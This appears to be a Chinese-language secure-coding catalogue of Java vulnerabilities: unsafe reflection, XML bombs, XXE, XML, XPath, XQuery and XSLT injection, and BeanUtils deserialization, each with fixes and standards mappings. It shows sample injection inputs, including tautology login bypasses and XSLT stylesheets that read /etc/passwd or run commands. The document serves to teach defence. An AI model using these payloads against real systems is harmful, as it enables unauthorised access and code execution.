如果在由反射调用返回的不可信任对象上调用使用即时调用者的类加载器检查执行任务的特定 Java API,则可能会危害访问检查,进而影响代码执行链。这些 Java API 会绕过可确保执行链中的所有调用者具有必需安全权限的 SecurityManager 检查。由于此类 API 可以绕过安全访问检查,使系统容易受到远程攻击,因此应格外小心,确保不要在由反射返回的不可信任对象上调用这些 API。有关这些 Java API 的更多信息,请参见“Secure Coding Guidelines for the Java Programming Language”中的准则 9。
RECOMMENDATIONS
防止 unsafe reflection 的最佳方法是采用一些间接手段:创建一个规定用户使用的合法名称列表,并仅允许用户从中进行选择。通过这个方法,就不会直接采用用户提供的输入指定传输到反射 API 的名称。
反射也可以用来创建自定义的数据驱动体系结构,这样,配置文件就可以决定应用程序所使用的对象类型和组合。这种编程风格会带来以下安全问题:
— 控制程序的配置文件是程序源代码的重要组成部分,必须进行保护及相应的检查。
— 因为应用程序的配置文件是唯一的,所以必须执行独特的操作来评估设计的安全性。
— 因为当前应用程序的语意由一个自定义格式的配置文件支配,为了得出最理想的静态分析结果,就需要自定义一些规则。
鉴于以上原因,除非开发组可以在安全评估方面投入大量的精力,否则避免使用这种风格的设计。
REFERENCES
[1] Secure Coding Guidelines for the Java Programming Language, Version 4.0
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 470, CWE ID 494
[4] Standards Mapping - FIPS200 SI
[5] Standards Mapping - MISRA C 2012 Rule 1.3
[6] Standards Mapping - MISRA C++ 2008 Rule 0-3-1
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[10] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[11] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[12] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[29] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
XML Entity Expansion Injection
ABSTRACT
使用配置的 XML 解析器无法预防和限制文档类型定义 (DTD) 实体解析,这会使解析器暴露在 XML Entity Expansion injection 之下
EXPLANATION
XML Entity Expansion injection 也称为 XML Bombs,属于 DoS 攻击,利用格式工整的有效 XML 块,它们在耗尽服务器分配的资源之前不断呈指数式扩张。XML 允许定义作为字符串替代宏的自定义实体。通过嵌套复发性实体解析,攻击者可以轻松使服务器资源崩溃。
下面的 XML 文档介绍了 XML Bomb 的示例。
1 | <?xml version="1.0"?> |
此测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。
RECOMMENDATIONS
应该对 XML 解析器进行安全配置,使它不允许将文档类型定义 (DTD) 自定义实体包含在传入的 XML 文档中。
为了避免 XML Entity Expansion injection,应为 XML 代理、解析器或读取器设置“secure-processing”属性:
factory.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);
在 JAXP 1.3 及更早版本中,当开启安全处理功能时,将为 DOM 和 SAX 解析器设置默认限制。这些限制是:
1 | entityExpansionLimit = 64,000 |
从 JAXP 1.4 开始,将默认打开安全处理功能。除了上述限制外,还在验证解析器中添加了新的 maxOccur 限制。此限制是:
maxOccur = 5,000
如果不需要 inline DOCTYPE 声明,可使用以下属性将其完全禁用:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
REFERENCES
[1] XML External Entity (XXE) Processing OWASP
[2] Testing for XML Injection (OWASP-DV-008) OWASP
[3] XML External Entities The Web Application Security Consortium
[4] INJECT-5: Restrict XML inclusion Oracle
[5] Standards Mapping - Common Weakness Enumeration CWE ID 776
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[8] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[9] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[10] Standards Mapping - OWASP Top 10 2010 A1 Injection
[11] Standards Mapping - OWASP Top 10 2013 A1 Injection
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[27] Standards Mapping - Web Application Security Consortium Version 2.00 XML Entity Expansion (WASC-44)
XML External Entity Injection
ABSTRACT
使用配置的 XML 解析器无法预防和限制外部实体进行解析,这会使解析器暴露在 XML External Entities 攻击之下
EXPLANATION
XML External Entities 攻击可利用能够在处理时动态构建文档的 XML 功能。XML 实体可动态包含来自给定资源的数据。外部实体允许 XML 文档包含来自外部 URI 的数据。除非另行配置,否则外部实体会迫使 XML 解析器访问由 URI 指定的资源,例如位于本地计算机或远程系统上的某个文件。这一行为会将应用程序暴露给 XML External Entity (XXE) 攻击,从而用于拒绝本地系统的服务,获取对本地计算机上文件未经授权的访问权限,扫描远程计算机,并拒绝远程系统的服务。
下面的 XML 文档介绍了 XXE 攻击的示例。
1 | <?xml version="1.0" encoding="ISO-8859-1"?> |
如果 XML 解析器尝试使用 /dev/random 文件中的内容来替代实体,则此示例会使服务器(使用 UNIX 系统)崩溃。
RECOMMENDATIONS
应对 XML 解析器进行安全配置,使它不允许将外部实体包含在传入的 XML 文档中。
为了避免 XXE injections,应为 XML 代理、解析器或读取器设置下面的属性:
1 | factory.setFeature("http://xml.org/sax/features/external-general-entities", false); |
如果不需要 inline DOCTYPE 声明,可使用以下属性将其完全禁用:
1 | factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); |
REFERENCES
[1] XML External Entity (XXE) Processing OWASP
[2] Testing for XML Injection (OWASP-DV-008) OWASP
[3] XML External Entities The Web Application Security Consortium
[4] IDS17-J. Prevent XML External Entity Attacks CERT
[5] DOS-1: Beware of activities that may use disproportionate resources Oracle
[6] INJECT-5: Restrict XML inclusion Oracle
[7] Standards Mapping - Common Weakness Enumeration CWE ID 611
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - MISRA C 2012 Rule 1.3
[10] Standards Mapping - MISRA C++ 2008 Rule 0-3-1
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M4 Unintended Data Leakage
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3810 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3810 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3810 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3810 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3810 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3810 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002390 CAT II, APSC-DV-002400 CAT II, APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[33] Standards Mapping - Web Application Security Consortium Version 2.00 XML External Entities (WASC-43)
XML Injection
ABSTRACT
如果在 XML 文档中写入未验证的数据,可能会使攻击者修改 XML 的结构和内容。
EXPLANATION
XML injection 会在以下情况中出现:
数据从一个不可信赖的数据源进入程序。
数据写入到 XML 文档中。
应用程序通常使用 XML 来存储数据或发送消息。当 XML 用于存储数据时,XML 文档通常会像数据库一样进行处理,而且可能会包含敏感信息。XML 消息通常在 web 服务中使用,也可用于传输敏感信息。XML 消息甚至还可用于发送身份验证凭据。
如果攻击者能够写入原始 XML,则可以更改 XML 文档和消息的语义。危害最轻的情况下,攻击者可能会插入无关的标签,导致 XML 解析器抛出异常。XML injection 更为严重的情况下,攻击者可以添加 XML 元素,更改身份验证凭据或修改 XML 电子商务数据库中的价格。还有一些情况,XML injection 可以导致 cross-site scripting 或 dynamic code evaluation。
例 1:
假设攻击者能够控制下列 XML 中的 shoes。
1 | <order> |
现在假设,在后端 Web 服务请求中包含该 XML,用于订购一双鞋。假设攻击者可以修改请求,并将 shoes 替换成 shoes</item><price>1.00</price><item>shoes
。新的 XML 如下所示:
1 | <order> |
当使用 SAX 解析器时,第二个 <price>
标签中的值将会覆盖第一个 <price>
标签中的值。这样,攻击者就可以只花 1 美元购买一双价值 100 美元的鞋。
RECOMMENDATIONS
将用户提供的数据写入 XML 时,应该遵守以下准则:
不要创建名称来自用户输入的标签或属性。
写入到 XML 之前,先对用户输入进行 XML 实体编码。
将用户输入包含在 CDATA 标签中。
REFERENCES
[1] IDS16-J. Prevent XML Injection CERT
[2] INJECT-3: XML and HTML generation requires care Oracle
[3] INPUT-1: Validate inputs Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 91
[5] Standards Mapping - FIPS200 SI
[6] Standards Mapping - MISRA C 2012 Rule 1.3
[7] Standards Mapping - MISRA C++ 2008 Rule 0-3-1
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[9] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[10] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[11] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2010 A1 Injection
[13] Standards Mapping - OWASP Top 10 2013 A1 Injection
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3810 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3810 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3810 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3810 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3810 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3810 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[30] Standards Mapping - Web Application Security Consortium Version 2.00 XML Injection (WASC-23)
XPath Injection
ABSTRACT
利用用户输入构建动态的 XPath 查询使攻击者可借机修改语句的含义。
EXPLANATION
XPath injection 会在以下情况中出现:
数据从一个不可信赖的数据源进入程序。
数据用于动态构造一个 XPath 查询。
例 1:下列代码可动态地构建并执行一个 XPath 查询,为指定的帐户 ID 检索电子邮件地址。由于该帐户 ID 是从 HTTP 请求中读取的,因此不可信赖。
1 | ... |
在正常情况下(例如搜索属于帐号 1 的电子邮件地址),此代码所执行的查询如下所示:
1 | /accounts/account[acctID='1']/email/text() |
但是,由于这个查询是动态构造的,由一个不变的基查询字符串和一个用户输入字符串连接而成,因此只有在 acctID 不包含单引号字符时,才会正确执行这一查询。如果攻击者为 acctID 输入字符串 1’ or ‘1’ = ‘1,则该查询会变成:
1 | /accounts/account[acctID='1' or '1' = '1']/email/text() |
附加条件 1’ or ‘1’ = ‘1 会使 where 从句永远评估为 true,因此该查询在逻辑上将等同于一个更为简化的查询:
//email/text()
这种查询简化会使攻击者绕过以下要求:查询只能返回经过验证的用户所拥有的条目;现在,查询可返回文档中存储的所有电子邮件地址,不论它们的指定所有者是是谁。
RECOMMENDATIONS
造成 XPath injection 漏洞的根本原因在于攻击者能够改变 XPath 查询的上下文,导致程序员期望解释为数据的某个数值最终被解释为命令。构建 XPath 查询后,程序员知道哪些数值应解释为命令的一部分,哪些数值应解释为数据。
为了防止攻击者侵犯程序员的各种预设情况,可以使用白名单的方法,确保 XPath 查询中由用户控制的数值完全来自于预定的字符集合,不包含任何上下文中所已使用的 XPath 元字符。如果由用户控制的数值要求它包含 XPath 元字符,则使用相应的编码机制删除这些元字符在 XPath 查询中的意义。
例 2
1 | ... |
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 643
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - MISRA C 2012 Rule 1.3
[5] Standards Mapping - MISRA C++ 2008 Rule 0-3-1
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[8] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[9] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[10] Standards Mapping - OWASP Top 10 2010 A1 Injection
[11] Standards Mapping - OWASP Top 10 2013 A1 Injection
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002550 CAT I, APSC-DV-002560 CAT I
[28] Standards Mapping - Web Application Security Consortium 24 + 2 XPath Injection
[29] Standards Mapping - Web Application Security Consortium Version 2.00 XPath Injection (WASC-39)
XQuery Injection
ABSTRACT
通过利用用户输入构建动态 XQuery 表达式,攻击者就能够修改指令的含义。
EXPLANATION
XQuery injection 会在以下情况中出现:
数据从一个不可信赖的数据源进入程序。
数据用于动态构造一个 XQuery 表达式。
例 1:下列代码能够动态地构建和执行 XQuery 表达式,用来根据给定的用户名和密码组合检索出用户。由于用户名和密码通过 HTTP 请求读取,因而是不可信的。
1 | ... |
在正常情况下,诸如搜索采用相应用户名和密码的用户,该代码执行的表达式如下:
1 | for \$user in doc(users.xml)//user[username='test_user' and pass='pass123'] return \$user |
但是,由于这个表达式是动态构造的,由一个常数基查询字符串和一个用户输入字符串连接而成,因此只有在 username 或 password 不包含单引号字符时,才会正确执行这一查询。如果攻击者为 username 输入字符串 admin’ or 1=1 or ‘’=’,则该查询会变成:
1 | for \$user in doc(users.xml)//user[username='admin' or 1=1 or ''='' and password='x' or ''=''] return \$user |
添加条件 admin’ or 1=1 or ‘’=’ 会使 XQuery 表达式永远评估为 true。因此,该查询在逻辑上等同于更简单的查询:
//user[username='admin']
如此简化的查询会使攻击者绕过查询与密码匹配的要求;现在查询会返回文档中存储的管理用户,无论输入什么样的密码。
RECOMMENDATIONS
造成 XQuery injection 漏洞的根本原因在于攻击者能够改变 XQuery 表达式查询的上下文,导致程序员期望解释为数据的某个数值最终被解释为命令。构建 XQuery 表达式后,程序员知道哪些数值应解释为命令的一部分,哪些数值应解释为数据。
要防止攻击者违背程序员预期,请使用准备好的表达式绑定用户控制的参数至查询变量中:
1 | ... |
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 652
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[6] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[7] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[8] Standards Mapping - OWASP Top 10 2010 A1 Injection
[9] Standards Mapping - OWASP Top 10 2013 A1 Injection
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[26] Standards Mapping - Web Application Security Consortium Version 2.00 XQuery Injection (WASC-46)
XSLT Injection
ABSTRACT
如果处理未验证的 XSL 样式表,可能会使攻击者修改得到的 XML 的结构和内容,从文件系统中加入任意文件,或者执行任意 Java 代码。
EXPLANATION
XSLT injection 会在以下情况中出现:
数据从一个不可信赖的数据源进入程序。
数据写入到 XSL 样式表中。
通常,应用程序利用 XSL 样式表来转换 XML 文档的格式。XSL 样式表中包括特殊函数,虽然此类函数能改善转换进程,但如果使用不当也会带来更多漏洞。
如果攻击者能够在样式表中写入 XSL 元素,则可以更改 XSL 样式表和处理的语义。攻击者可能会更改样式表的输出,使 XSS (cross-site scripting) 攻击被启用,暴露本地文件系统资源的内容,或者执行任意 Java 命令。
例 1:下面是一些易受 XSLT 注入攻击的代码:
1 | ... |
当攻击者能将标识的 XSL 送入 XSTL 处理器时,上述代码会导致三种不同的攻击:
- XSS:
1 | <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> |
在处理 XSL 样式表时,<script>
会进入受害者的浏览器,从而能够实施 cross-site scripting 攻击。
- 读取服务器文件系统中的任意文件:
1 | <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> |
上述 XSL 样式表将返回 /etc/passwd 文件的内容。
- 执行任意 Java 代码:
XSLT 处理器如果不禁用,能将本机 Java 语言方法暴露为 XSLT 函数。
1 | <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"> |
上述样式表将执行服务器上运行的“ls”命令。
RECOMMENDATIONS
将用户提供的数据写入 XSL 样式表时,应该遵守以下准则:
根据已知的正常值验证输入和白名单。
写入到 XML 之前,先对用户输入进行 XML 实体编码。
如果不需要,请禁用扩展函数。例如,在 JAXP 中,通过将“安全处理”功能设置为 true,就可能实现,设置方法如下:
transFact.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
REFERENCES
[1] INJECT-8: Take care interpreting untrusted code Oracle
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 494, CWE ID 631
[4] Standards Mapping - FIPS200 SI
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[7] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[8] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[9] Standards Mapping - OWASP Top 10 2010 A1 Injection
[10] Standards Mapping - OWASP Top 10 2013 A1 Injection
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Dynamic Code Evaluation: Unsafe BeanUtils Deserialization
ABSTRACT
使用 BeanUtils 对用户控制的对象进行反序列化,可能允许攻击者在服务器上执行任意代码、滥用应用程序逻辑和/或导致拒绝服务。
EXPLANATION
BeanUtils 用于反序列化用户控制的数据,在本例中为 Redis Hash,它包含要分配给对象字段的类型鉴别器和值。 BeanUtils 通过调用这些字段的资源库重构对象,允许攻击者将任意数据传递给任意类资源库。 如果攻击者可以指定要重构的对象类,并能够强制应用程序运行具有用户控制的数据的任意资源库,则在 Redis Hash 反序列化期间他们也许能够执行任意代码。
例 1:以下代码使用 BeanUtilsHashMapper 反序列化 Redis Hash,这可能允许攻击者控制此类 Hash 来运行任意代码。
1 | HashMapper<Person, String, String> hashMapper = new BeanUtilsHashMapper<Person>(Person.class); |
RECOMMENDATIONS
如果可能,在没有验证 Redis Hash 内容的情况下,请勿对不受信任的数据进行反序列化。 改用安全的 HashMapper(例如 ObjectHashMapper),它不调用资源库,而是使用 Reflection 重构对象。
示例 2: 以下代码使用 ObjectHashMapper 反序列化 Redis Hash。
1 | ObjectHashMapper hashMapper = new ObjectHashMapper(); |
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 502
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [23] CWE ID 502
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[5] Standards Mapping - FIPS200 SI
[6] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.5.2 Input and Output Architectural Requirements, 5.5.1 Deserialization Prevention Requirements, 5.5.3 Deserialization Prevention Requirements
[9] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[10] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[11] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2010 A1 Injection
[13] Standards Mapping - OWASP Top 10 2013 A1 Injection
[14] Standards Mapping - OWASP Top 10 2017 A8 Insecure Deserialization
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
